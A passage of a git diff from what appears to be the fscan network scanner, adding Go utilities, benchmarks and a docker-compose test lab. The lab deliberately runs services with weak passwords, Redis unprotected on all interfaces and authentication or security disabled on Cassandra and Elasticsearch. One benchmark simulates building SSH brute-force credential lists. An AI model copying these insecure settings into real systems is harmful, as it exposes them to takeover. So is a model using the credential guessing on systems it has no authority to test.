NewTargetInfo 创建新的目标信息 +func NewTargetInfo(hostInfo HostInfo) *TargetInfo { + return &TargetInfo{ + HostInfo: &hostInfo, + context: context.Background(), + metadata: make(map[string]interface{}), + } +} + + +// WithContext 设置上下文 +func (t *TargetInfo) WithContext(ctx context.Context) *TargetInfo { + t.context = ctx + return t +} + + +// SetMetadata 设置元数据 +func (t *TargetInfo) SetMetadata(key string, value interface{}) *TargetInfo { + if t.metadata == nil { + t.metadata = make(map[string]interface{}) + } + t.metadata[key] = value + return t +} + +// GetMetadata 获取元数据 +func (t *TargetInfo) GetMetadata(key string) (interface{}, bool) { + if t.metadata == nil { + return nil, false + } + value, exists := t.metadata[key] + return value, exists +} + + + + + +// String 返回字符串表示 +func (t *TargetInfo) String() string { + return HostInfoString(t.HostInfo) +} + +// HasMetadata 检查是否有指定的元数据 +func (t *TargetInfo) HasMetadata(key string) bool { + _, exists := t.GetMetadata(key) + return exists +} \ No newline at end of file diff --git a/common/utils/benchmark_test.go b/common/utils/benchmark_test.go new file mode 100644 index 0000000..9ad9fcd --- /dev/null +++ b/common/utils/benchmark_test.go @@ -0,0 +1,315 @@ +package utils + +import ( + "fmt" + "runtime" + "strings" + "testing" + "time" +) + +// BenchmarkStringJoinOriginal 原始字符串连接方法 +func BenchmarkStringJoinOriginal(b *testing.B) { + slice := make([]string, 100) + for i := range slice { + slice[i] = fmt.Sprintf("item-%d", i) + } + + b.ResetTimer() + for i := 0; i < b.N; i++ { + var result string + if len(slice) > 0 { + result = slice[0] + for j := 1; j < len(slice); j++ { + result += "," + slice[j] + } + } + _ = result + } +} + +// BenchmarkStringJoinOptimized 优化后的字符串连接方法 +func BenchmarkStringJoinOptimized(b *testing.B) { + slice := make([]string, 100) + for i := range slice { + slice[i] = fmt.Sprintf("item-%d", i) + } + + b.ResetTimer() + for i := 0; i < b.N; i++ { + result := JoinStrings(slice, ",") + _ = result + } +} + +// BenchmarkIntJoinOriginal 原始整数连接方法 +func BenchmarkIntJoinOriginal(b *testing.B) { + slice := make([]int, 100) + for i := range slice { + slice[i] = i * 10 + } + + b.ResetTimer() + for i := 0; i < b.N; i++ { + var result string + if len(slice) > 0 { + result = fmt.Sprintf("%d", slice[0]) + for j := 1; j < len(slice); j++ { + result += "," + fmt.Sprintf("%d", slice[j]) + } + } + _ = result + } +} + +// BenchmarkIntJoinOptimized 优化后的整数连接方法 +func BenchmarkIntJoinOptimized(b *testing.B) { + slice := make([]int, 100) + for i := range slice { + slice[i] = i * 10 + } + + b.ResetTimer() + for i := 0; i < b.N; i++ { + result := JoinInts(slice, ",") + _ = result + } +} + +// BenchmarkDeduplicateOriginal 原始去重方法 +func BenchmarkDeduplicateOriginal(b *testing.B) { + slice := make([]string, 1000) + for i := range slice { + slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复 + } + + b.ResetTimer() + for i := 0; i < b.N; i++ { + temp := make(map[string]struct{}) + var result []string + + for _, item := range slice { + if _, exists := temp[item]; !exists { + temp[item] = struct{}{} + result = append(result, item) + } + } + _ = result + } +} + +// BenchmarkDeduplicateOptimized 优化后的去重方法 +func BenchmarkDeduplicateOptimized(b *testing.B) { + slice := make([]string, 1000) + for i := range slice { + slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复 + } + + b.ResetTimer() + for i := 0; i < b.N; i++ { + result := DeduplicateStrings(slice) + _ = result + } +} + +// BenchmarkSliceAllocationOriginal 原始切片分配方法 +func BenchmarkSliceAllocationOriginal(b *testing.B) { + b.ResetTimer() + for i := 0; i < b.N; i++ { + var result []string + for j := 0; j < 50; j++ { + result = append(result, fmt.Sprintf("item-%d", j)) + } + _ = result + } +} + +// BenchmarkSliceAllocationOptimized 优化后的切片分配方法 +func BenchmarkSliceAllocationOptimized(b *testing.B) { + b.ResetTimer() + for i := 0; i < b.N; i++ { + result := make([]string, 0, 50) + for j := 0; j < 50; j++ { + result = append(result, fmt.Sprintf("item-%d", j)) + } + _ = result + } +} + +// TestMemoryUsage 内存使用情况对比测试 +func TestMemoryUsage(t *testing.T) { + // 测试字符串连接的内存使用 + t.Run("StringJoin", func(t *testing.T) { + slice := make([]string, 1000) + for i := range slice { + slice[i] = fmt.Sprintf("test-string-%d", i) + } + + // 测试原始方法 + runtime.GC() + var m1, m2 runtime.MemStats + runtime.ReadMemStats(&m1) + + for i := 0; i < 1000; i++ { + var result string + if len(slice) > 0 { + result = slice[0] + for j := 1; j < len(slice); j++ { + result += "," + slice[j] + } + } + _ = result + } + + runtime.GC() + runtime.ReadMemStats(&m2) + origAlloc := m2.TotalAlloc - m1.TotalAlloc + + // 测试优化方法 + runtime.GC() + runtime.ReadMemStats(&m1) + + for i := 0; i < 1000; i++ { + result := JoinStrings(slice, ",") + _ = result + } + + runtime.GC() + runtime.ReadMemStats(&m2) + optAlloc := m2.TotalAlloc - m1.TotalAlloc + + t.Logf("原始方法内存分配: %d bytes", origAlloc) + t.Logf("优化方法内存分配: %d bytes", optAlloc) + t.Logf("内存减少: %.2f%%", float64(origAlloc-optAlloc)/float64(origAlloc)*100) + }) +} + +// TestPoolReuse 测试对象池复用效果(StringBuilderPool) +func TestPoolReuse(t *testing.T) { + // 重置计数器 + pool := NewStringBuilderPool(1024) + + // 执行多次操作 + slice := []string{"a", "b", "c", "d", "e"} + for i := 0; i < 100; i++ { + result := pool.JoinStrings(slice, ",") + _ = result + } + + // GetReusedCount 方法已移除,无法测试复用次数 + t.Log("字符串构建器池测试完成") + + // 切片池相关功能已移除,跳过该测试 + t.Log("切片池功能已移除") +} + +// TestStringBuilderCorrectness 测试字符串构建器正确性 +func TestStringBuilderCorrectness(t *testing.T) { + testCases := []struct { + slice []string + sep string + want string + }{ + {[]string{}, ",", ""}, + {[]string{"a"}, ",", "a"}, + {[]string{"a", "b"}, ",", "a,b"}, + {[]string{"hello", "world", "test"}, " ", "hello world test"}, + {[]string{"1", "2", "3", "4", "5"}, "-", "1-2-3-4-5"}, + } + + for _, tc := range testCases { + got := JoinStrings(tc.slice, tc.sep) + want := strings.Join(tc.slice, tc.sep) + + if got != want { + t.Errorf("JoinStrings(%v, %q) = %q, want %q", tc.slice, tc.sep, got, want) + } + } +} + +// TestIntJoinCorrectness 测试整数连接正确性 +func TestIntJoinCorrectness(t *testing.T) { + testCases := []struct { + slice []int + sep string + want string + }{ + {[]int{}, ",", ""}, + {[]int{1}, ",", "1"}, + {[]int{1, 2}, ",", "1,2"}, + {[]int{10, 20, 30}, "-", "10-20-30"}, + } + + for _, tc := range testCases { + got := JoinInts(tc.slice, tc.sep) + + if got != tc.want { + t.Errorf("JoinInts(%v, %q) = %q, want %q", tc.slice, tc.sep, got, tc.want) + } + } +} + +// BenchmarkCredentialGeneration 模拟SSH凭证生成的性能测试 +func BenchmarkCredentialGeneration(b *testing.B) { + users := []string{"admin", "root", "user", "test", "guest"} + passwords := make([]string, 20) + for i := range passwords { + passwords[i] = fmt.Sprintf("password%d", i) + } + + b.ResetTimer() + for i := 0; i < b.N; i++ { + // 模拟SSH凭证生成过程 + totalCreds := len(users) * len(passwords) + credentials := make([]struct{ user, pass string }, 0, totalCreds) + + for _, user := range users { + for _, pass := range passwords { + credentials = append(credentials, struct{ user, pass string }{user, pass}) + } + } + _ = credentials + } +} + +// Example 展示如何使用优化后的工具 +func ExampleJoinStrings() { + slice := []string{"apple", "banana", "cherry"} + result := JoinStrings(slice, ", ") + fmt.Println(result) + // Output: apple, banana, cherry +} + +func ExampleJoinInts() { + ports := []int{80, 443, 8080, 9090} + result := JoinInts(ports, ",") + fmt.Println(result) + // Output: 80,443,8080,9090 +} + +// 运行时长度测试 - 验证在不同规模下的表现 +func TestScalability(t *testing.T) { + sizes := []int{10, 100, 1000, 5000} + + for _, size := range sizes { + t.Run(fmt.Sprintf("Size%d", size), func(t *testing.T) { + // 准备数据 + slice := make([]string, size) + for i := range slice { + slice[i] = fmt.Sprintf("item-%d", i) + } + + start := time.Now() + result := JoinStrings(slice, ",") + duration := time.Since(start) + + t.Logf("规模 %d: 耗时 %v, 结果长度 %d", size, duration, len(result)) + + // 验证结果正确性(只检查开头和结尾) + expected := strings.Join(slice, ",") + if result != expected { + t.Errorf("结果不匹配") + } + }) + } +} \ No newline at end of file diff --git a/common/utils/memmonitor.go b/common/utils/memmonitor.go new file mode 100644 index 0000000..5c76f75 --- /dev/null +++ b/common/utils/memmonitor.go @@ -0,0 +1,49 @@ +package utils + +import ( + "time" +) + +// MemoryMonitor 内存监控器 +type MemoryMonitor struct { + maxHeapMB uint64 // 最大堆内存阈值(MB) + maxGoroutines int // 最大goroutine数量阈值 + checkInterval time.Duration // 检查间隔 + running bool // 是否运行中 + stopChan chan bool +} + +// NewMemoryMonitor 创建新的内存监控器 +func NewMemoryMonitor(maxHeapMB uint64, maxGoroutines int, checkInterval time.Duration) *MemoryMonitor { + return &MemoryMonitor{ + maxHeapMB: maxHeapMB, + maxGoroutines: maxGoroutines, + checkInterval: checkInterval, + stopChan: make(chan bool, 1), + } +} + +// 已移除未使用的 Start 方法 + +// 已移除未使用的 Stop 方法 + +// 已移除未使用的 monitor 方法 + +// 已移除未使用的 checkMemory 方法 + +// 已移除未使用的 GetMemoryStats 方法 + +// 已移除未使用的 ForceGC 方法 + +// 已移除未使用的 getHeapSize 方法 + +// 默认内存监控器实例 +var DefaultMemMonitor = NewMemoryMonitor( + 512, // 最大堆内存512MB + 1000, // 最大1000个goroutines + 30*time.Second, // 30秒检查一次 +) + +// 已移除未使用的 StartDefaultMonitor 方法 + +// 已移除未使用的 StopDefaultMonitor 方法 \ No newline at end of file diff --git a/common/utils/slicepool.go b/common/utils/slicepool.go new file mode 100644 index 0000000..43a9623 --- /dev/null +++ b/common/utils/slicepool.go @@ -0,0 +1,8 @@ +package utils + + + +// 已移除未使用的 DeduplicateStrings 方法 + + + diff --git a/common/utils/stringbuilder.go b/common/utils/stringbuilder.go new file mode 100644 index 0000000..22c7b12 --- /dev/null +++ b/common/utils/stringbuilder.go @@ -0,0 +1,128 @@ +package utils + +import ( + "strconv" + "strings" + "sync" + "sync/atomic" +) + +// StringBuilderPool 字符串构建器池 +type StringBuilderPool struct { + pool sync.Pool + reused int64 // 复用计数器 + maxSize int // 最大保留大小,防止内存无限增长 +} + +// NewStringBuilderPool 创建新的字符串构建器池 +func NewStringBuilderPool(maxSize int) *StringBuilderPool { + if maxSize <= 0 { + maxSize = 64 * 1024 // 默认64KB最大保留大小 + } + + return &StringBuilderPool{ + pool: sync.Pool{ + New: func() interface{} { + return &strings.Builder{} + }, + }, + maxSize: maxSize, + } +} + +// Get 获取字符串构建器 +func (p *StringBuilderPool) Get() *strings.Builder { + builder := p.pool.Get().(*strings.Builder) + builder.Reset() // 清空内容但保留容量 + atomic.AddInt64(&p.reused, 1) + return builder +} + +// Put 归还字符串构建器 +func (p *StringBuilderPool) Put(builder *strings.Builder) { + if builder == nil { + return + } + + // 如果容量超过最大限制,不放回池中以避免内存泄露 + if builder.Cap() > p.maxSize { + return + } + + p.pool.Put(builder) +} + +// JoinStrings 高效连接字符串切片 +func (p *StringBuilderPool) JoinStrings(slice []string, sep string) string { + if len(slice) == 0 { + return "" + } + if len(slice) == 1 { + return slice[0] + } + + builder := p.Get() + defer p.Put(builder) + + // 预估容量:所有字符串长度 + 分隔符长度 + var totalLen int + for _, s := range slice { + totalLen += len(s) + } + totalLen += len(sep) * (len(slice) - 1) + + // 如果当前容量不足,预先增长 + if builder.Cap() < totalLen { + builder.Grow(totalLen) + } + + builder.WriteString(slice[0]) + for i := 1; i < len(slice); i++ { + builder.WriteString(sep) + builder.WriteString(slice[i]) + } + + return builder.String() +} + +// JoinInts 高效连接整数切片 +func (p *StringBuilderPool) JoinInts(slice []int, sep string) string { + if len(slice) == 0 { + return "" + } + if len(slice) == 1 { + return strconv.Itoa(slice[0]) + } + + builder := p.Get() + defer p.Put(builder) + + // 预估容量:平均每个整数4字符 + 分隔符 + estimatedLen := len(slice)*4 + len(sep)*(len(slice)-1) + if builder.Cap() < estimatedLen { + builder.Grow(estimatedLen) + } + + builder.WriteString(strconv.Itoa(slice[0])) + for i := 1; i < len(slice); i++ { + builder.WriteString(sep) + builder.WriteString(strconv.Itoa(slice[i])) + } + + return builder.String() +} + + + +// 全局字符串构建器池实例 +var GlobalStringBuilderPool = NewStringBuilderPool(64 * 1024) + +// 便捷函数,使用全局池 +func JoinStrings(slice []string, sep string) string { + return GlobalStringBuilderPool.JoinStrings(slice, sep) +} + +func JoinInts(slice []int, sep string) string { + return GlobalStringBuilderPool.JoinInts(slice, sep) +} + diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..8e27266 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,339 @@ +version: '3.8' + +services: + # === 数据库服务 === + mysql: + image: mysql:latest + container_name: fscan-mysql + environment: + MYSQL_ROOT_PASSWORD: Password + MYSQL_DATABASE: mydb + ports: + - "3306:3306" + volumes: + - mysql_data:/var/lib/mysql + healthcheck: + test: ["CMD", "mysql", "-uroot", "-pPassword", "-e", "SELECT 1"] + interval: 30s + timeout: 3s + retries: 3 + restart: unless-stopped + + postgresql: + image: postgres:latest + container_name: fscan-postgresql + environment: + POSTGRES_USER: postgres + POSTGRES_PASSWORD: 123456 + POSTGRES_DB: mydb + ports: + - "5432:5432" + volumes: + - postgresql_data:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres"] + interval: 30s + timeout: 3s + retries: 3 + restart: unless-stopped + + mongodb: + image: mongo:latest + container_name: fscan-mongodb + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: 123456 + ports: + - "27017:27017" + volumes: + - mongodb_data:/data/db + healthcheck: + test: ["CMD", "mongosh", "--eval", "db.runCommand('ping').ok", "localhost:27017/test", "--quiet"] + interval: 30s + timeout: 3s + retries: 3 + restart: unless-stopped + + redis: + image: redis:5.0.1 + container_name: fscan-redis + command: redis-server --bind 0.0.0.0 --protected-mode no --port 6379 + ports: + - "6379:6379" + volumes: + - redis_data:/data + - ./test_dirs:/test_dirs + restart: unless-stopped + + neo4j: + image: neo4j:4.4 + container_name: fscan-neo4j + environment: + NEO4J_AUTH: neo4j/123456 + NEO4J_dbms_security_procedures_unrestricted: apoc.* + NEO4J_dbms_security_auth_enabled: true + ports: + - "7474:7474" + - "7687:7687" + volumes: + - neo4j_data:/data + restart: unless-stopped + + memcached: + image: memcached:latest + container_name: fscan-memcached + command: ["memcached", "-m", "64", "-c", "1024", "-v"] + ports: + - "11211:11211" + restart: unless-stopped + + cassandra: + image: cassandra:3.11 + container_name: fscan-cassandra + environment: + CASSANDRA_AUTHENTICATOR: AllowAllAuthenticator + ports: + - "9042:9042" + - "9160:9160" + volumes: + - cassandra_data:/var/lib/cassandra + restart: unless-stopped + + mssql: + image: mcr.microsoft.com/mssql/server:2022-latest + container_name: fscan-mssql + environment: + ACCEPT_EULA: Y + MSSQL_SA_PASSWORD: P@ssword123 + MSSQL_PID: Express + ports: + - "1433:1433" + volumes: + - mssql_data:/var/opt/mssql + healthcheck: + test: ["CMD-SHELL", "/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q 'SELECT 1' || exit 1"] + interval: 30s + timeout: 3s + retries: 3 + restart: unless-stopped + + # === Web服务 === + tomcat: + build: ./TestDocker/Tomcat/ + container_name: fscan-tomcat + ports: + - "8080:8080" + volumes: + - tomcat_webapps:/usr/local/tomcat/webapps + restart: unless-stopped + + # === 搜索引擎 === + elasticsearch: + image: docker.elastic.co/elasticsearch/elasticsearch:7.9.3 + container_name: fscan-elasticsearch + environment: + - discovery.type=single-node + - network.host=0.0.0.0 + - ELASTIC_PASSWORD=elastic123 + - xpack.security.enabled=false + ports: + - "9200:9200" + - "9300:9300" + volumes: + - elasticsearch_data:/usr/share/elasticsearch/data + restart: unless-stopped + + # === 消息队列 === + rabbitmq: + image: rabbitmq:3-management + container_name: fscan-rabbitmq + environment: + RABBITMQ_DEFAULT_USER: admin + RABBITMQ_DEFAULT_PASS: 123456 + ports: + - "5672:5672" + - "15672:15672" + volumes: + - rabbitmq_data:/var/lib/rabbitmq + restart: unless-stopped + + activemq: + build: ./TestDocker/ActiveMQ/ + container_name: fscan-activemq + ports: + - "61613:61613" + - "61614:61614" + restart: unless-stopped + + kafka: + image: bitnami/kafka:latest + container_name: fscan-kafka + environment: + - KAFKA_CFG_NODE_ID=1 + - KAFKA_CFG_PROCESS_ROLES=broker,controller + - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093 + - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER + - KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092 + - KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092 + - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT + - KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN + - KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN + - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT + - KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf + - ALLOW_PLAINTEXT_LISTENER=yes + ports: + - "9092:9092" + volumes: + - ./TestDocker/Kafka/kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf + - kafka_data:/bitnami/kafka + restart: unless-stopped + + # === 目录服务 === + ldap: + build: ./TestDocker/LDAP/ + container_name: fscan-ldap + environment: + LDAP_ORGANISATION: "Example Inc" + LDAP_DOMAIN: "example.com" + LDAP_BASE_DN: "dc=example,dc=com" + LDAP_ADMIN_PASSWORD: "Aa123456789" + LDAP_READONLY_USER: "true" + LDAP_READONLY_USER_USERNAME: "readonly" + LDAP_READONLY_USER_PASSWORD: "readonly" + ports: + - "389:389" + - "636:636" + volumes: + - ldap_data:/var/lib/ldap + restart: unless-stopped + + # === 网络服务 === + ftp: + image: bogem/ftp + container_name: fscan-ftp + environment: + - FTP_USER=admin + - FTP_PASS=123456 + - PASV_ADDRESS=127.0.0.1 + - PASV_MIN_PORT=30000 + - PASV_MAX_PORT=30100 + ports: + - "21:21" + - "20:20" + - "30000-30100:30000-30100" + restart: unless-stopped + + ssh: + build: ./TestDocker/SSH/ + container_name: fscan-ssh + ports: + - "2222:22" + restart: unless-stopped + + smtp: + build: ./TestDocker/SMTP/ + container_name: fscan-smtp + ports: + - "25:25" + restart: unless-stopped + + snmp: + build: ./TestDocker/SNMP/ + container_name: fscan-snmp + ports: + - "161:161/udp" + restart: unless-stopped + + rsync: + build: ./TestDocker/Rsync/ + container_name: fscan-rsync + ports: + - "873:873" + volumes: + - ./test_data:/data/public + restart: unless-stopped + + vnc: + build: ./TestDocker/VNC/ + container_name: fscan-vnc + ports: + - "5901:5901" + restart: unless-stopped + + telnet: + build: ./TestDocker/Telnet/ + container_name: fscan-telnet + ports: + - "23:23" + restart: unless-stopped + + # === 监控系统 === + zabbix-mysql: + image: mysql:8.0 + container_name: fscan-zabbix-mysql + command: --default-authentication-plugin=mysql_native_password + environment: + MYSQL_ROOT_PASSWORD: root123 + MYSQL_DATABASE: zabbix + MYSQL_USER: zabbix + MYSQL_PASSWORD: zabbix123 + ports: + - "3307:3306" # 避免与主MySQL冲突 + volumes: + - zabbix_mysql_data:/var/lib/mysql + restart: unless-stopped + + zabbix-server: + image: zabbix/zabbix-server-mysql:ubuntu-6.0.23 + container_name: fscan-zabbix-server + environment: + DB_SERVER_HOST: zabbix-mysql + MYSQL_DATABASE: zabbix + MYSQL_USER: zabbix + MYSQL_PASSWORD: zabbix123 + MYSQL_ROOT_PASSWORD: root123 + ports: + - "10051:10051" + depends_on: + - zabbix-mysql + restart: unless-stopped + + zabbix-web: + image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23 + container_name: fscan-zabbix-web + environment: + DB_SERVER_HOST: zabbix-mysql + MYSQL_DATABASE: zabbix + MYSQL_USER: zabbix + MYSQL_PASSWORD: zabbix123 + MYSQL_ROOT_PASSWORD: root123 + ZBX_SERVER_HOST: zabbix-server + PHP_TZ: Asia/Shanghai + ports: + - "8081:8080" # 避免与Tomcat冲突 + - "8443:8443" + depends_on: + - zabbix-mysql + - zabbix-server + restart: unless-stopped + +# === 数据卷 === +volumes: + mysql_data: + postgresql_data: + mongodb_data: + redis_data: + neo4j_data: + cassandra_data: + tomcat_webapps: + elasticsearch_data: + rabbitmq_data: + kafka_data: + ldap_data: + zabbix_mysql_data: + mssql_data: + +# === 网络 === +networks: + default: + driver: bridge \ No newline at end of file diff --git a/go.mod b/go.mod index d4da0e7..a48668b 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,8 @@ module github.com/shadow1ng/fscan -go 1.20 +go 1.22 + +toolchain go1.22.2 require ( github.com/IBM/sarama v1.43.3 @@ -10,28 +12,18 @@ require ( github.com/go-sql-driver/mysql v1.8.1 github.com/gocql/gocql v1.7.0 github.com/google/cel-go v0.13.0 - github.com/gosnmp/gosnmp v1.38.0 - github.com/hirochachacha/go-smb2 v1.1.0 github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.10.9 - github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed - github.com/neo4j/neo4j-go-driver/v4 v4.4.7 - github.com/rabbitmq/amqp091-go v1.10.0 - github.com/robotn/gohook v0.42.2 github.com/satori/go.uuid v1.2.0 github.com/schollz/progressbar/v3 v3.13.1 - github.com/sijms/go-ora/v2 v2.5.29 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 - github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 golang.org/x/crypto v0.31.0 golang.org/x/net v0.32.0 golang.org/x/sync v0.10.0 golang.org/x/sys v0.28.0 - golang.org/x/text v0.21.0 google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c google.golang.org/protobuf v1.28.1 gopkg.in/yaml.v2 v2.4.0 - gopkg.in/yaml.v3 v3.0.1 ) require ( @@ -43,7 +35,6 @@ require ( github.com/eapache/go-resiliency v1.7.0 // indirect github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect github.com/eapache/queue v1.1.0 // indirect - github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect @@ -53,8 +44,6 @@ require ( github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect - github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect - github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect github.com/jcmturner/aescts/v2 v2.0.0 // indirect github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect github.com/jcmturner/gofork v1.7.6 // indirect @@ -62,7 +51,6 @@ require ( github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/klauspost/compress v1.17.9 // indirect - github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/mattn/go-runewidth v0.0.14 // indirect @@ -72,8 +60,8 @@ require ( github.com/rivo/uniseg v0.4.7 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect - github.com/vcaesar/keycode v0.10.1 // indirect golang.org/x/term v0.27.0 // indirect + golang.org/x/text v0.21.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect ) diff --git a/go.sum b/go.sum index 1fce1e4..b265416 100644 --- a/go.sum +++ b/go.sum @@ -1,16 +1,3 @@ -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= -cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= -cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= -cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= -cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= -cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= -cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= -cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= -cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= -cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= -dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw= @@ -18,43 +5,21 @@ github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJc github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA= github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ= -github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= -github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= -github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10/go.mod h1:F7bn7fEU90QkQ3tnmaTx3LTKLEDqnwWODIYppRQ5hnY= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= -github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY= github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod 